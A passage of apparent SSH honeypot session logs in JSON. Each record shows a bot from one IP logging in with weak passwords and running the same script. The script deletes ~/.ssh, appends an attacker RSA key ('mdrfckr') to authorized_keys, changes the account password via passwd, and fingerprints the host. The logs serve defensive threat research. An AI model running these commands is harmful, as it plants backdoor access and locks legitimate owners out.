\"12345678\\nrJRZ4T7k00aN\\nrJRZ4T7k00aN\"|passwd|bash"},{"seq":6,"at":"2026-08-27T07:47:12.088417+00:00","kind":"input","latency_ms":null,"data":"echo \"12345678\\nrJRZ4T7k00aN\\nrJRZ4T7k00aN\\n\"|passwd"},{"seq":7,"at":"2026-08-27T07:47:12.436432+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:47:13.165137+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:47:13.514184+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:47:14.973008+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:47:15.323763+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:47:16.163701+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:47:16.514533+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:47:17.294895+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:47:17.648144+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:47:18.519590+00:00","kind":"output","latency_ms":null,"data":" 07:47:18 up 7 days, 4:37, 0 user, load average: 0.23, 0.19, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:47:18.868331+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:47:19.174280+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:47:19.522164+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:47:19.887358+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:47:20.235213+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:47:20.847076+00:00","kind":"output","latency_ms":null,"data":"top - 07:47:20 up 7 days, 4:37, 0 user, load average: 0.23, 0.19, 0.17\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:47:21.193956+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:47:21.768626+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:47:22.120188+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:47:22.821256+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:47:23.178659+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:47:24.058548+00:00","kind":"output","latency_ms":null,"data":"ali"},{"seq":29,"at":"2026-08-27T07:47:24.407449+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:47:25.220578+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:47:25.571008+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:47:26.943188+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ali","password":"12345678","method":"password","accepted":true,"tier":"other"}]} {"id":"370ee545-486b-492e-b59e-9b1bfd9f03f1","name":"salty-fickle-snipe","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":44410,"username":"iso","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":335,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:45:09.960697+00:00","ended_at":"2026-08-27T07:45:12.211443+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2244,"events":[{"seq":1,"at":"2026-08-27T07:44:50.375189+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:44:50.710104+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:44:55.575058+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:44:56.160312+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:44:56.495711+00:00","kind":"input","latency_ms":null,"data":"echo -e \"iso\\nHiIWcILMI3oA\\nHiIWcILMI3oA\"|passwd|bash"},{"seq":6,"at":"2026-08-27T07:44:56.830510+00:00","kind":"input","latency_ms":null,"data":"echo \"iso\\nHiIWcILMI3oA\\nHiIWcILMI3oA\\n\"|passwd"},{"seq":7,"at":"2026-08-27T07:44:57.167195+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:44:57.780281+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:44:58.120043+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:44:59.645124+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:44:59.983662+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:45:01.305933+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:45:01.641079+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:45:02.278041+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:45:02.613285+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:45:03.024599+00:00","kind":"output","latency_ms":null,"data":" 07:45:03 up 7 days, 4:35, 0 user, load average: 0.13, 0.14, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:45:03.360278+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:45:03.911236+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:45:04.253581+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:45:04.633065+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:45:04.967874+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:45:05.820476+00:00","kind":"output","latency_ms":null,"data":"top - 07:45:05 up 7 days, 4:35, 0 user, load average: 0.13, 0.14, 0.09\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:45:06.158072+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:45:06.927280+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:45:07.264186+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:45:07.609907+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:45:07.947822+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:45:08.494265+00:00","kind":"output","latency_ms":null,"data":"iso"},{"seq":29,"at":"2026-08-27T07:45:08.829807+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:45:09.624664+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:45:09.961431+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:45:12.112246+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"iso","password":"iso","method":"password","accepted":true,"tier":"other"}]} {"id":"877a14a2-757c-4dd2-b1ae-ceb3a9f27876","name":"sterling-smooth-walrus","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":53106,"username":"alex","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":333,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:43:02.733485+00:00","ended_at":"2026-08-27T07:43:04.546230+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2247,"events":[{"seq":1,"at":"2026-08-27T07:42:44.137915+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:42:44.470201+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:42:47.669169+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:42:48.465114+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:42:48.799281+00:00","kind":"input","latency_ms":null,"data":"echo -e \"test\\nKH4zJmDAl1qD\\nKH4zJmDAl1qD\"|passwd|bash"},{"seq":6,"at":"2026-08-27T07:42:49.133886+00:00","kind":"input","latency_ms":null,"data":"echo \"test\\nKH4zJmDAl1qD\\nKH4zJmDAl1qD\\n\"|passwd"},{"seq":7,"at":"2026-08-27T07:42:49.465673+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:42:50.002153+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:42:50.335596+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:42:51.645280+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:42:51.978423+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:42:52.971507+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:42:53.309888+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:42:53.745272+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:42:54.079738+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:42:54.866550+00:00","kind":"output","latency_ms":null,"data":" 07:42:54 up 7 days, 4:33, 0 user, load average: 0.02, 0.03, 0.01\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:42:55.200599+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:42:55.592937+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:42:55.927536+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:42:56.755887+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:42:57.089015+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:42:57.984267+00:00","kind":"output","latency_ms":null,"data":"top - 07:42:57 up 7 days, 4:33, 0 user, load average: 0.02, 0.03, 0.01\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:42:58.315301+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:42:58.615308+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:42:58.949817+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:42:59.830228+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:43:00.163000+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:43:00.795730+00:00","kind":"output","latency_ms":null,"data":"alex"},{"seq":29,"at":"2026-08-27T07:43:01.130109+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:43:02.400147+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:43:02.734199+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:43:04.446242+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"alex","password":"test","method":"password","accepted":true,"tier":"other"}]} {"id":"73424e1c-eca9-420a-a275-fb117c641912","name":"coastal-steady-elk","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":33578,"username":"gabriel","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":326,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:40:59.579350+00:00","ended_at":"2026-08-27T07:41:01.875128+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2262,"events":[{"seq":1,"at":"2026-08-27T07:40:41.970523+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:40:42.308325+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:40:46.726864+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:40:47.457344+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:40:47.782265+00:00","kind":"input","latency_ms":null,"data":"echo -e \"gabriel123\\nz0XXBQJNZQkX\\nz0XXBQJNZQkX\"|passwd|bash"},{"seq":6,"at":"2026-08-27T07:40:48.108103+00:00","kind":"input","latency_ms":null,"data":"echo \"gabriel123\\nz0XXBQJNZQkX\\nz0XXBQJNZQkX\\n\"|passwd"},{"seq":7,"at":"2026-08-27T07:40:48.431907+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:40:48.692665+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:40:49.019520+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:40:50.124131+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:40:50.452510+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:40:51.271473+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:40:51.599714+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:40:52.223169+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:40:52.549201+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:40:53.193110+00:00","kind":"output","latency_ms":null,"data":" 07:40:53 up 7 days, 4:31, 0 user, load average: 0.07, 0.07, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:40:53.520186+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:40:54.248019+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:40:54.573795+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:40:54.955329+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:40:55.279142+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:40:55.720155+00:00","kind":"output","latency_ms":null,"data":"top - 07:40:55 up 7 days, 4:31, 0 user, load average: 0.07, 0.07, 0.08\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:40:56.046754+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:40:56.667182+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:40:56.991656+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:40:57.275350+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:40:57.601131+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:40:57.942380+00:00","kind":"output","latency_ms":null,"data":"gabriel"},{"seq":29,"at":"2026-08-27T07:40:58.268324+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:40:59.254135+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:40:59.580192+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:41:01.779584+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"gabriel","password":"gabriel123","method":"password","accepted":true,"tier":"other"}]} {"id":"fe59c694-2267-4799-997e-6ec4815988c2","name":"candid-hearty-anteater","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":42276,"username":"ookla","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":343,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:38:56.662436+00:00","ended_at":"2026-08-27T07:38:57.979912+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-27T07:38:35.886146+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:38:36.229058+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:38:40.504061+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:38:41.338519+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:38:41.681939+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ookla\\n9wKYw0M2e12d\\n9wKYw0M2e12d\"|passwd|bash"},{"seq":6,"at":"2026-08-27T07:38:42.024597+00:00","kind":"input","latency_ms":null,"data":"echo \"ookla\\n9wKYw0M2e12d\\n9wKYw0M2e12d\\n\"|passwd"},{"seq":7,"at":"2026-08-27T07:38:42.374749+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:38:42.938793+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:38:43.282027+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:38:44.946034+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:38:45.292548+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:38:46.432205+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:38:46.778669+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:38:47.256128+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:38:47.599033+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:38:48.135483+00:00","kind":"output","latency_ms":null,"data":" 07:38:48 up 7 days, 4:28, 0 user, load average: 0.26, 0.24, 0.27\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:38:48.479240+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:38:49.159636+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:38:49.503526+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc 